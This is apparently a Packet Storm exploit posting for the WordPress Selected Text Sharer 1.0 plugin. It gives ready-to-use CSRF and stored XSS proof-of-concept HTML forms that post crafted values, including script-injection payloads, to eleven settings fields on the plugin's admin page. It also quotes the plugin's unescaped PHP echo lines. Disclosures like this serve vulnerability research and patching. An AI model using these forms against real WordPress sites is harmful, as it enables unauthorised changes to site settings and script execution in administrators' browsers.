Twenty Year Anniversary

WordPress Selected Text Sharer 1.0 CSRF / XSS

WordPress Selected Text Sharer 1.0 CSRF / XSS
Posted Aug 6, 2016
Authored by bl4ck_MohajeM

WordPress Selected Text Sharer plugin version 1.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 7b48c99d6c77d9c5c54e285e4b5f0847

WordPress Selected Text Sharer 1.0 CSRF / XSS

Change Mirror Download
====================
[+] Exploit Title : WP Selected Text Sharer CSRF/XSS
[+] Exploit Author :bl4ck_mohajem
[+] Date : 2015/09/24
[+] Version : 1.0
[+] Tested on : Elementary Os
[+] Vendor Homepage :
http://www.aakashweb.com/wordpress-plugins/wp-selected-text-sharer/
=============================================================================
[+] Exploit CSRF :
<form method="post"
action="http://localhost/wp-admin/options-general.php?page=wp-selected-text-sharer%2Fwp-selected-text-sharer.php">
<input name="wpsts_title" type="hidden" value='CSRF 1'>
<input name="wpsts_lists" type="hidden" value='CSRF 2'>
<input name="wpsts_borderColor" type="hidden" value='CSRF 3'>
<input name="wpsts_bgColor" type="hidden" value='CSRF 4'>
<input name="wpsts_titleColor" type="hidden" value='CSRF 5'>
<input name="wpsts_hoverColor" type="hidden" value='CSRF 6'>
<input name="wpsts_textColor" type="hidden" value='CSRF 7'>
<input name="wpsts_extraClass" type="hidden" value='CSRF 8'>
<input name="wpsts_truncateChars" type="hidden" value='CSRF 9'>
<input name="wpsts_element" type="hidden" value='CSRF 10'>
<input name="wpsts_bitly" type="hidden" value='CSRF 11'>
<input type="submit" name="wpsts_submit" value="Update">
</form>
=============================================================================
[+] Exploit XSS :
<form method="post"
action="http://localhost/wp-admin/options-general.php?page=wp-selected-text-sharer%2Fwp-selected-text-sharer.php">
<input name="wpsts_title" type="hidden" value='"><script>alert(/XSS
1/)</script>'>
<input name="wpsts_lists" type="hidden"
value='</textarea><script>alert(/XSS 2/)</script>'>
<input name="wpsts_borderColor" type="hidden"
value='"><script>alert(/XSS 3/)</script>'>
<input name="wpsts_bgColor" type="hidden" value='"><script>alert(/XSS
4/)</script>'>
<input name="wpsts_titleColor" type="hidden"
value='"><script>alert(/XSS 5/)</script>'>
<input name="wpsts_hoverColor" type="hidden"
value='"><script>alert(/XSS 6/)</script>'>
<input name="wpsts_textColor" type="hidden"
value='"><script>alert(/XSS 7/)</script>'>
<input name="wpsts_extraClass" type="hidden"
value='"><script>alert(/XSS 8/)</script>'>
<input name="wpsts_truncateChars" type="hidden"
value='"><script>alert(/XSS 9/)</script>'>
<input name="wpsts_element" type="hidden" value='"><script>alert(/XSS
10/)</script>'>
<input name="wpsts_bitly" type="hidden" value='"><script>alert(/XSS
11/)</script>'>
<input type="submit" name="wpsts_submit" value="Update">
</form>
=============================================================================
[+] Vulnerable Code :

372:<input name="wpsts_title" id="wpsts_title" type="text"
value="<?php echo $wpsts_title; ?>"/>
388:<textarea name="wpsts_lists" id="wpsts_lists"><?php echo
$wpsts_lists; ?></textarea>
403:<input name="wpsts_borderColor" id="wpsts_borderColor"
class="color" type="text" value="<?php echo $wpsts_borderColor; ?>"/>
407:<input name="wpsts_bgColor" id="wpsts_bgColor" class="color"
type="text" value="<?php echo $wpsts_bgColor; ?>"/>
411:<input name="wpsts_titleColor" id="wpsts_titleColor" class="color"
type="text" value="<?php echo $wpsts_titleColor; ?>"/>
415:<input name="wpsts_hoverColor" id="wpsts_hoverColor" class="color"
type="text" value="<?php echo $wpsts_hoverColor; ?>"/>
419:<input name="wpsts_textColor" id="wpsts_textColor" class="color"
type="text" value="<?php echo $wpsts_textColor; ?>"/>
423:<input name="wpsts_extraClass" type="text" value="<?php echo
$wpsts_extraClass; ?>"/>
448:<input name="wpsts_truncateChars" type="text" value="<?php echo
$wpsts_truncateChars; ?>"/>
454:<input name="wpsts_element" type="text" value="<?php echo
$wpsts_element; ?>"/>
458:<input name="wpsts_bitly" type="text" value="<?php echo
$wpsts_bitly; ?>" size="40"/>
=================

###############################################3
tnx: ehsan cod3r - Milad hacking - n1arash - malah sky - bl4ck_li0n
###########################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    21 Files
  • 19
    Oct 19th
    16 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close